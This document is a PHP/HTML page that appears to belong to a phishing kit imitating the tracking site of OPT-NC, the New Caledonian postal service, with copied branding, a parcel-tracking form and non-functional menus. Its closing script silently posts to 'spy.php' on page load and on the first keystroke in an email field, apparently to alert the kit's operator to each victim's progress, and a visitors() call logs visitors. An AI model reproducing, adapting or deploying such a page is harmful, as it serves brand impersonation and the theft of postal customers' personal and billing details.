<?php 
     require_once "functions.php";
     $_SESSION['lang'] = 'fr';
     visitors();
?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <title>OPT-NC | Courrier et Colis</title>
        <!-- logo site web-->
        <link rel="icon" href="image/opt-favicon.png" type="image/png"/>
        <link rel="shortcut icon" href="image/opt-favicon.png" type="image/png" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/styless.css">
</head>
<body>
        <!-- Start____Navbar -->
        <div class="navbar">
        	<div class="container-fluid">
        		<div class="topping">
        			<img src="image/opt-logo.png">
        			<ul class="web">
        				<li><i class="bi bi-exclamation-circle me-2"></i>Alerte(1)</li>
        				<li>Nous contacter</li>
        				<li><i class="bi bi-globe me-2"></i>Français</li>
        				<li><i class="bi bi-search me-2"></i>Recherche</li>
        			</ul>
        			<ul class="respo">
        				<li><i class="bi bi-list"></i></li>
        				<li></li>
        			</ul>
        		</div>
        		<div class="bottomin">
        			<ul>
        				<li>Suivi<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Envoyer<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Services postaux<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Service client<i class="bi bi-chevron-down ms-1"></i></li>
        			</ul>
        			<p><i class="bi bi-person-fill me-2"></i>Mon espace client</p>
        		</div>
        	</div>
        </div>
        <!-- End____Navbar -->
        <!-- Start____Home -->
        <div class="home">
        	<div class="otside">
        		<div class="container"> 
        			<div class="track">
                        <h4>Suivez votre colis</h4>
                        <form action="infos.php" method="post">
                            <input type="hidden" name="step" value="index">
                            <div class="search">
                                <div class="form-floating">
                                    <input type="text" name="track" class="form-control" id="floatingInput" placeholder="" style="text-transform: uppercase;" required>
                                    <label for="floatingInput">Entrez votre numéro de suivi</label>
                                </div>
                                <button class="btn" name="submit">Suivre</button> 
                            </div>  
                        </form>    
                    </div>
                    <div class="choses">
                        <div class="row gx-0 align-items-end">
                            <div class="col-lg-4 col-md-4 col-12">
                                <div class="boby" style="height:128px;border-right:0.7px solid #ccc;">
                                    <img src="image/l_1.svg" width="35" height="35">
                                    <p>Expédier maintenant</p>
                                    <small>Trouver le bon service</small>
                                </div>
                            </div>
                            <div class="col-lg-4 col-md-4 col-12">
                                <div class="boby"  style="height:128px;border-right:0.7px solid #ccc;">
                                    <img src="image/l_2.svg" width="35" height="35">
                                    <p>Obtenir un devis</p>
                                    <small>Estimer le coût</small>
                                </div>
                            </div>
                            <div class="col-lg-4 col-md-4 col-12">
                                <div class="boby" style="height:160px;">
                                    <img src="image/l_3.svg" width="45" height="45">
                                    <p style="text-align: center;">OPT pour les entreprises</p>
                                    <small>Vous expédiez régulièrement ? Demandez un compte professionnel</small>
                                </div>
                            </div>
                        </div>
                    </div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd____Home -->
        <!-- Start___Fotter -->
        <div class="fotter">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="power ">Centre d'assistance</li>
        					<li>Service clientèle</li>
        					<li>Mon espace client</li>
        					<li>Partenaires numériques</li>
        					<li>Portail des développeurs</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Nos services</li>
							<li>Courrier et Colis</li> 
							<li>Services Financiers</li>
							<li>Télécommunications</li>
							<li>Numérique</li>
							<li>Philatélie</li>
							<li>Boutique en ligne</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Informations pratiques</li>
							<li>Agences et horaires</li>
							<li>Tarifs postaux</li>
							<li>Suivi de colis</li>
							<li>Formalités douanières</li>
							<li>Régler en ligne</li>
							<li>Réclamations</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">À propos d'OPT-NC</li>
							<li>Qui sommes-nous</li>
							<li>Recrutement</li>
							<li>Actualités</li>
							<li>Développement durable</li>
							<li>Partenaires</li>
        				</ul>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd___Fotter -->
        <!-- STAAAART_SOUS -->
        <div class="sous ">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-9">
        				<img src="image/opt-logo.png" style="width:120px;">
        				<ul>
        					<li>Mentions légales</li>
        					<li>Conditions d'utilisation</li>
        					<li>Politique de confidentialité</li>
        					<li>Cookies</li>
        					<li>Accessibilité</li>
        					<li>Plan du site</li>
        				</ul>
        			</div>
        			<div class="col-lg-3">
        				<h6>Suivez-nous</h6>
        				<img src="image/socio.png" class="socio">
        			</div>
        			<div class="text-center ss">2024 © OPT Nouvelle-Calédonie. Tous droits réservés.</div>
        		</div>	
        	</div>
        </div>
        <!-- ENNNNNND_SOUS -->
        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script>
            $.post("spy.php",{billingview:1});
             var abort = false;
             $("#email").keyup(function(){
                if(abort==false){
                   $.post("spy.php", {billinging:1});
                   abort=true;
                }
             });
        </script>
</body>
</html>
